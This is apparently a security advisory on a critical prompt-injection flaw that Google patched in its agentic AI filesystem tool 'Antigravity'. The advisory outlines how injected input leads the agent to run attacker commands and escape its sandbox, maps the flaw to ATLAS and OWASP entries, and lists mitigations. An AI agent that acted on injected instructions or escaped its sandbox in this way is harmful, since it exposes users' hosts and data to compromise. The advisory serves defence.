LIVE THREATS
ATLAS OWASP CRITICAL Active exploitation · Immediate action required RELEVANCE ▲ 8.5

Google Fixes Critical RCE Flaw in AI-Based Antigravity Tool

TL;DR CRITICAL
  • What happened: Google patched a critical prompt injection RCE flaw in an agentic AI filesystem tool enabling sandbox escape.
  • Who's at risk: Users and enterprises deploying Google's agentic AI filesystem tool are directly exposed to arbitrary code execution if unpatched.
  • Act now: Apply Google's patch immediately to all affected agentic AI tool deployments · Audit agentic AI components for unsanitised input paths and filesystem access permissions · Enforce strict sandbox boundaries and least-privilege principles for all AI agents with OS-level access
Google Fixes Critical RCE Flaw in AI-Based Antigravity Tool

Overview

Google has issued a patch for a critical remote code execution (RCE) vulnerability in an AI-based agentic product used for filesystem operations, branded internally as an ‘Antigravity’ tool. The flaw, rooted in a prompt injection weakness, allowed attackers to bypass sandbox protections and execute arbitrary code on the underlying host system. The vulnerability underscores a growing and under-appreciated risk: as AI agents are granted real-world capabilities — including direct filesystem access — the consequences of prompt injection escalate from data leakage to full system compromise.

Technical Analysis

The vulnerability was classified as a sanitisation failure within the agentic AI pipeline. Specifically, user-controlled input passed to the AI agent was not adequately stripped or escaped before being interpreted as system-level instructions. This allowed a crafted prompt to escape the intended execution sandbox and invoke arbitrary commands on the host operating system.

This attack pattern follows a well-understood but increasingly dangerous archetype in agentic AI design:

  1. Malicious input is submitted to the AI agent (directly or via an upstream data source).
  2. The agent, lacking robust input validation, interprets injected content as legitimate instructions.
  3. The agent’s privileged access to the filesystem or shell is abused to execute attacker-controlled commands.
  4. Sandbox escape is achieved due to insufficient process isolation between the AI agent runtime and the host environment.

The critical severity is driven by the agent’s elevated privileges. Unlike a standard LLM chatbot, filesystem-capable agents operate with tool-use permissions that can directly modify, exfiltrate, or destroy data — and in this case, execute arbitrary code.

Framework Mapping

FrameworkIDRationale
MITRE ATLASAML.T0051Core mechanism is LLM prompt injection
MITRE ATLASAML.T0047Exploited via an ML-enabled product with real-world integrations
OWASP LLMLLM01Prompt injection is the root cause
OWASP LLMLLM02Unsanitised output from the model was passed to system calls
OWASP LLMLLM07The filesystem plugin lacked secure design controls
OWASP LLMLLM08The agent possessed excessive agency with insufficient guardrails

Impact Assessment

Any user or enterprise deploying the unpatched version of Google’s agentic filesystem AI tool is potentially exposed to full host compromise. The RCE primitive gives attackers the ability to install malware, exfiltrate sensitive files, pivot laterally within a network, or destroy data. Given that agentic AI tools are frequently deployed in developer environments or CI/CD pipelines with broad filesystem access, the blast radius is significant.

Mitigation & Recommendations

  • Patch immediately: Apply the Google-issued fix to all instances of the affected tool without delay.
  • Restrict agent permissions: Apply least-privilege principles — agents should only have access to the specific filesystem paths required for their function.
  • Harden sandbox isolation: Ensure AI agent runtimes are isolated from the host OS via containerisation or virtualisation with strict syscall filtering (e.g., seccomp profiles).
  • Validate and sanitise all agent inputs: Treat all data passed into agent pipelines — including retrieved content — as untrusted. Implement allowlist-based input validation.
  • Monitor agent behaviour: Deploy runtime anomaly detection for unexpected filesystem operations or process spawning originating from AI agent processes.

References